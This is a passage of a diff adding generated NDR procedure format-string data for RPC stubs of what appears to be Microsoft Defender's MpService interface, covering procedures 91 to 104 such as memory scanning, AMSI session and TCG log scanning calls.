FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc91_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 5136 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5138 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5142 */ NdrFcShort( 0x5b ), /* 91 */ +/* 5144 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5146 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 5148 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5150 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5152 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5154 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5156 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 5158 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 5160 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5162 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5164 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5166 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 5168 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 5170 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5172 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 5174 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 5176 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5178 */ NdrFcShort( 0xcc ), /* Type Offset=204 */ + + /* Parameter arg_2 */ + +/* 5180 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5182 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5184 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5186 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5188 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5190 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc92_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 5192 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5194 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5198 */ NdrFcShort( 0x5c ), /* 92 */ +/* 5200 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5202 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 5204 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5206 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5208 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5210 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5212 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 5214 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5216 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5218 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5220 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5222 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 5224 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 5226 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5228 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 5230 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5232 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5234 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5236 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5238 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5240 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc93_MpService__CMpMapsLatencyDataIterator__Clone */ + +/* 5242 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5244 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5248 */ NdrFcShort( 0x5d ), /* 93 */ +/* 5250 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5252 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 5254 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5256 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5258 */ NdrFcShort( 0x38 ), /* 56 */ +/* 5260 */ NdrFcShort( 0x5c ), /* 92 */ +/* 5262 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 5264 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5266 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5268 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5270 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5272 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5274 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 5276 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5278 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 5280 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5282 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5284 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5286 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5288 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5290 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc94_ServerMpRpcMemoryScanStart */ + +/* 5292 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 5294 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5298 */ NdrFcShort( 0x5e ), /* 94 */ +/* 5300 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 5302 */ NdrFcShort( 0x34 ), /* 52 */ +/* 5304 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 5306 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 5308 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 5310 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5312 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5314 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5316 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5318 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 5320 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5322 */ NdrFcShort( 0x7e ), /* Type Offset=126 */ + + /* Parameter arg_2 */ + +/* 5324 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5326 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5328 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 5330 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 5332 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5334 */ NdrFcShort( 0x8a4 ), /* Type Offset=2212 */ + + /* Parameter arg_4 */ + +/* 5336 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 5338 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5340 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_5 */ + +/* 5342 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 5344 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5346 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_6 */ + +/* 5348 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5350 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5352 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5354 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5356 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 5358 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc95_ServerMpRpcMemoryScanQueryNotification */ + +/* 5360 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5362 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5366 */ NdrFcShort( 0x5f ), /* 95 */ +/* 5368 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5370 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 5372 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5374 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5376 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5378 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5380 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 5382 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 5384 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5386 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5388 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5390 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 5392 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 5394 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5396 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 5398 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 5400 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5402 */ NdrFcShort( 0xcc ), /* Type Offset=204 */ + + /* Parameter arg_2 */ + +/* 5404 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5406 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5408 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5410 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5412 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5414 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc96_ServerMpRpcMemoryScanClose */ + +/* 5416 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5418 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5422 */ NdrFcShort( 0x60 ), /* 96 */ +/* 5424 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5426 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 5428 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5430 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5432 */ NdrFcShort( 0x38 ), /* 56 */ +/* 5434 */ NdrFcShort( 0x5c ), /* 92 */ +/* 5436 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 5438 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5440 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5442 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5444 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5446 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5448 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 5450 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5452 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 5454 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5456 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5458 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5460 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5462 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5464 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc97_ServerMpRpcFastMemoryScanOpen */ + +/* 5466 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 5468 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5472 */ NdrFcShort( 0x61 ), /* 97 */ +/* 5474 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5476 */ NdrFcShort( 0x2c ), /* 44 */ +/* 5478 */ NdrFcShort( 0xc0 ), /* 192 */ +/* 5480 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 5482 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5484 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5486 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5488 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5490 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5492 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 5494 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5496 */ NdrFcShort( 0x7e ), /* Type Offset=126 */ + + /* Parameter arg_2 */ + +/* 5498 */ NdrFcShort( 0x8112 ), /* Flags: must free, out, simple ref, srv alloc size=32 */ +/* 5500 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5502 */ NdrFcShort( 0x8ba ), /* Type Offset=2234 */ + + /* Parameter arg_3 */ + +/* 5504 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 5506 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5508 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_4 */ + +/* 5510 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5512 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5514 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5516 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5518 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5520 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc98_ServerMpRpcFastMemoryScan */ + +/* 5522 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5524 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5528 */ NdrFcShort( 0x62 ), /* 98 */ +/* 5530 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 5532 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 5534 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5536 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5538 */ NdrFcShort( 0x2c ), /* 44 */ +/* 5540 */ NdrFcShort( 0x4c ), /* 76 */ +/* 5542 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 5544 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 5546 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5548 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5550 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5552 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 5554 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 5556 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5558 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 5560 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5562 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5564 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 5566 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 5568 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5570 */ NdrFcShort( 0x85a ), /* Type Offset=2138 */ + + /* Parameter arg_3 */ + +/* 5572 */ NdrFcShort( 0x2112 ), /* Flags: must free, out, simple ref, srv alloc size=8 */ +/* 5574 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5576 */ NdrFcShort( 0x6e ), /* Type Offset=110 */ + + /* Parameter arg_4 */ + +/* 5578 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5580 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5582 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5584 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5586 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5588 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc99_ServerMpRpcFastMemoryScanClose */ + +/* 5590 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5592 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5596 */ NdrFcShort( 0x63 ), /* 99 */ +/* 5598 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5600 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 5602 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5604 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5606 */ NdrFcShort( 0x38 ), /* 56 */ +/* 5608 */ NdrFcShort( 0x5c ), /* 92 */ +/* 5610 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 5612 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5614 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5616 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5618 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5620 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 5622 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 5624 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5626 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_1 */ + +/* 5628 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5630 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5632 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5634 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5636 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5638 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc100_ServerMpRpcFastMemoryScanCacheInfo */ + +/* 5640 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5642 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5646 */ NdrFcShort( 0x64 ), /* 100 */ +/* 5648 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5650 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 5652 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5654 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5656 */ NdrFcShort( 0x88 ), /* 136 */ +/* 5658 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 5660 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5662 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5664 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5666 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5668 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5670 */ NdrFcShort( 0x8112 ), /* Flags: must free, out, simple ref, srv alloc size=32 */ +/* 5672 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5674 */ NdrFcShort( 0x8ba ), /* Type Offset=2234 */ + + /* Parameter arg_2 */ + +/* 5676 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5678 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5680 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5682 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5684 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5686 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc101_ServerMpRpcAmsiCloseSession */ + +/* 5688 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5690 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5694 */ NdrFcShort( 0x65 ), /* 101 */ +/* 5696 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5698 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 5700 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5702 */ NdrFcShort( 0x10 ), /* 16 */ +/* 5704 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5706 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 5708 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 5710 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5712 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5714 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5716 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5718 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5720 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5722 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 5724 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5726 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5728 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5730 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5732 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5734 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc102_ServerMpRpcTcgLogScan */ + +/* 5736 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5738 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5742 */ NdrFcShort( 0x66 ), /* 102 */ +/* 5744 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 5746 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 5748 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5750 */ NdrFcShort( 0x8 ), /* 8 */ +/* 5752 */ NdrFcShort( 0x5c ), /* 92 */ +/* 5754 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 5756 */ 0xa, /* 10 */ + 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ +/* 5758 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5760 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5762 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5764 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5766 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5768 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5770 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 5772 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 5774 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5776 */ NdrFcShort( 0x8ca ), /* Type Offset=2250 */ + + /* Parameter arg_3 */ + +/* 5778 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5780 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5782 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 5784 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5786 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5788 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 5790 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 5792 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5794 */ NdrFcShort( 0x5e2 ), /* Type Offset=1506 */ + + /* Parameter arg_6 */ + +/* 5796 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5798 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 5800 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5802 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5804 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 5806 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc103_ServerMpRpcTcgLogApplyExtResult */ + +/* 5808 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5810 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5814 */ NdrFcShort( 0x67 ), /* 103 */ +/* 5816 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5818 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 5820 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5822 */ NdrFcShort( 0x8 ), /* 8 */ +/* 5824 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5826 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 5828 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 5830 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5832 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5834 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5836 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5838 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5840 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5842 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 5844 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 5846 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5848 */ NdrFcShort( 0x8ca ), /* Type Offset=2250 */ + + /* Parameter arg_3 */ + +/* 5850 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5852 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5854 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5856 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5858 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5860 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc104_ServerMpRpcDbgSendCallbackNotification */ + +/* 5862 */ 0x0, /* 